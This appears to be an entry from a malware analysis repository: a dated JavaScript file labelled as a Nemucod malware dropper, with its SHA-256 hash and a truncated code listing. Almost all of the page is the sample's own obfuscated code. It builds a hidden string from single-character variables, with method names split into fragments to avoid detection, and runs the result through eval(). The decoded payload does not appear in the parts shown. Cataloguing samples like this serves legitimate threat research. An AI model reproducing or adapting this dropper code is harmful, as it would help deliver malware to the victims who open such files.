20161006_66dd3256194b8e0c961e21133b934c08.js
Nemucod malware dropper
gp array concat rebuildDense gp token array
SHA-256bf3e9f3a4dcf3c8c74204a0c2477ba858d09ee1ab67cd7e27e0a6e413e6e1d82
MaleculeK₂(McLi)O₂(As₆S)H₂(DbPo)
Evidence
1
2/*@cc_on
3var an = "";
4var xu = 0;
5
6asdddddddddd();
7var bd,xj,yz,bz,ob,tp,pd,dk,ny,ta,cr,qh,fe,wh,eq,yo,hj0,bg,kc,wc,xl,mi0,pw,yh,er,nr,hg,cr0,pp,cy,wq,it,dh,mu,rk,eo,hj,vr,xy,ap,fd,nj,qi,ux,ty,ez,ki,ur,oz0,ug,dz,rv,lh,vj,xf,hy,ik,rm,zo,nu,wm,xs,qa,wd,oz,ui,gk,ji,yz0,jk,fy,pi,km,sz,rc,gc,pf,wn,ga,ul,zs,hw,dw,au,sl,fu,mi,bc;
8var gp = [("x", qa),("x", jk),("x", oz),("x", mu),("x", wh),("x", ul),("x", hj),("x", oz),("x", ap),("x", ga),("x", it),("x", dh),("x", hj0),("x", bd),("x", ap),("x", ap),("x", ap),("x", ap),("x", gk),("x", wn),("x", ui),("x", ap),("x", dw),("x", cr),("x", vr),("x", ul),("x", bc),("x", jk),("x", ta),("x", rk),("x", qa),("x", jk),("x", vr),("x", wh),("x", ta),("x", rk),("x", ap),("x", hy),("x", ap),("x", pp),("x", cy),("x", hg),("x", pp),("x", xl),("x", pp),("x", pp),("x", xl),("x", pp),("x", mu),("x", pp),("x", xl),("x", pp),("x", ui),("x", pp),("x", xl),("x", pp),("x", ul),("x", pp),("x", xl),("x", pp),("x", fe),("x", wh),("x", pp) …
8:173043… vj),("x", xj),("x", bd),("x", eq),("x", vj),("x", xj),("x", bd),("x", xj),("x", bd)];
9do
10{
11 an = an['c'+"o"+'n'+"ca"+"t"](gp[xu]);
12 var pn = (gp["l"+"e"+'n'+"gt"+"h"]-1);
13} while (xu++ < pn);
14eval(an);
15function asdddddddddd()
16{
17bd=('d', '\x0a');
18xj=('d', '\x0d');
19yz=('d', 'D');
20bz=('d', 'H');
21ob=('d', 'L');
22tp=('d', 'P');
23pd=('d', 'T');
24dk=('d', 'X');
25ny=('d', '\x09');
26ta=('d', 'd');
27cr=('d', 'h');
28qh=('d', 'l');
29fe=('d', 'p');
30wh=('d', 't');
31eq=('d', '\x7d');
32yo=('d', '\x7c');
33hj0=('d', '\x7b');
34bg=('d', '\x2f');
35kc=('d', '\x2d');
36wc=('d', '\x2e');
⋯9 lines